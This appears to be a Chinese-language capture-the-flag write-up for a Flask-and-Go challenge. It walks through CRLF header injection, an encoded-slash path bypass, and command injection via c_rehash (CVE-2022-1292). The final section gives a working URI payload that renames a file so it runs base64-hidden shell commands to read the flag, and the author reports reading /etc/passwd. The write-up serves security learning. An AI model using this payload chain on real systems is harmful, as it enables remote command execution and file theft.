0x01 前期准备
源码
题目源码用于本地的调试,有所改动,考虑篇幅,只展示重要逻辑代码
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
app.run(host="0.0.0.0", port=8888)
|
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
package main
import (
"github.com/gin-gonic/gin"
"os"
"strings"
)
func admin(c *gin.Context) {
staticPath := "../static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
func index(c *gin.Context) {
c.String(200, "hello world")
}
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
|
服务启动
因为flask里直接执行了命令,所以我们得把这个文件放到py文件的同级目录
接着启动服务,分别执行.
1
2
|
python3 app.py
go run main.go
|
0x02 题目逻辑
这里题目的逻辑大致是这样:
首先通过getcrt路由生成crt文件,然后利用go里的admin/rename去修改文件名,最后利用createlink里的c_rehash执行命令
可以看到proxy里面,是拼接了一个http包的
这里不免想到CRLF,进了go里面,那么有这样的条件需要满足
1
2
3
4
5
6
7
8
9
|
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
|
c.Request.URL.RawPath的绕过
首先是c.Request.URL.RawPath
,这个的绕过方法是url编码,我们用%252f
代替/来绕过这个
接着是host得是admin,这里我们可以用CRLF来实现
c_rehash的RCE:CVE-2022-1292
这里是给了c_rehash的源码的,先搜了一下这个cve,找到官方的修复方案,发现是在这里进行了修复
那么我们就可以对这里分析一下,这里可以从fname这里进行代码注入,类似于这样
1
|
1.crt"||id>1.txt||echo"
|
那么思路就清晰了
最后逻辑
我们先生成一个crt记录下文件名,然后通过proxy,到go的/admin/rename下,通过CRLF绕过host的判断,把文件名修改成代码注入的样子,最后通过createlink执行c_rehash进行命令执行
但是最后有一个问题,就是这里fname还是有过滤的,是不能出现斜杠,那么我们就没有办法读取到其他目录下的文件了,这里的绕过逻辑是通过base64进行消敏
$fname =~ s/\"/\\\"/g;
payload:
1
|
uri=/admin%252frename?oldname=8c3bcef7-62f5-476c-9c9d-9dc7054a5533.crt%26newname=1.crt"||echo${IFS}"Y2F0IC9mbGFnPnpob25nM2Nj"|base64${IFS}-d|sh${IFS}-i"%20HTTP/1.1%0d%0aHost:%20admin%0d%0a%0d%0aGET%20/
|
成功修改文件名
然后再到createlink执行命令
访问static/crt/1.txt,成功读取到/etc/passwd
tricks
这里绕过Host判断,可以不用CRLF来绕过,这里可以用http://admin/admin/rename来绕过
可以看到是可以成功绕过的